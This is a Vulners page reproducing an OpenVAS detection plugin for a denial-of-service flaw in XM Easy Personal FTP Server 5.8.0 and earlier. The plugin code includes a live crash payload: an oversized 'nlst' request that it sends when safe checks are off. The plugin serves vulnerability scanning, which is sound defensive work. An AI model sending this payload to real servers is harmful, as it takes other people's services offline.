Lucene search
+L

XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability

🗓️ 22 Oct 2009 00:00:00Reported by Copyright (C) 2009 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

XM Easy Personal FTP Server denial of service (DoS) vulnerability due to processing large 'LIST' and 'NLST' request

Refs
Code
# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801120");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2009-10-22 15:34:45 +0200 (Thu, 22 Oct 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2009-3643", "CVE-2009-4048");
  script_name("XM Easy Personal FTP Server 'LIST' And 'NLST' Command DoS Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/36941/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36969");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/37016");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/54277");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/53643");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/0910-exploits/XM-ftp-dos.txt");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("FTP");
  script_dependencies("gb_xm_easy_personal_ftp_detect.nasl", "logins.nasl");
  script_mandatory_keys("XM-Easy-Personal-FTP/Ver");
  script_require_ports("Services/ftp", 21);

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause a Denial of
  Service in the affected application.");

  script_tag(name:"affected", value:"Dxmsoft, XM Easy Personal FTP Server version 5.8.0 and prior.");

  script_tag(name:"insight", value:"The flaws are due to:

  - An error when processing directory listing FTP requests. This can be
  exploited to terminate the FTP service via overly large 'LIST' or 'NLST' requests.

  - An error when handling certain FTP requests. By sending a specially-
  crafted request to the APPE or DELE commands, a remote authenticated
  attacker could cause the server to stop responding.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"XM Easy Personal FTP Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("version_func.inc");

xmPort = ftp_get_port(default:21);

xmVer = get_kb_item("XM-Easy-Personal-FTP/Ver");
if(isnull(xmVer))
  exit(0);

if(!safe_checks())
{
  soc1 = open_sock_tcp(xmPort);
  if(soc1)
  {
    kb_creds = ftp_get_kb_creds();
    user = kb_creds["login"];
    pass = kb_creds["pass"];

    ftplogin = ftp_log_in(socket:soc1, user:user, pass:pass);
    if(ftplogin)
    {
      send(socket:soc1, data:string("nlst ", crap(length: 6300, data:"./A")));
      close(soc1);

      soc2 = open_sock_tcp(xmPort);
      resp = ftp_recv_line(socket:soc2);
      if(!resp)
      {
        security_message(xmPort);
        exit(0);
      }
      close(soc2);
    }
  }
}

if(version_is_less_equal(version:xmVer, test_version:"5.8.0")){
  security_message(xmPort);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Dec 2023 00:00Current
6.5Medium risk
Vulners AI Score6.5
22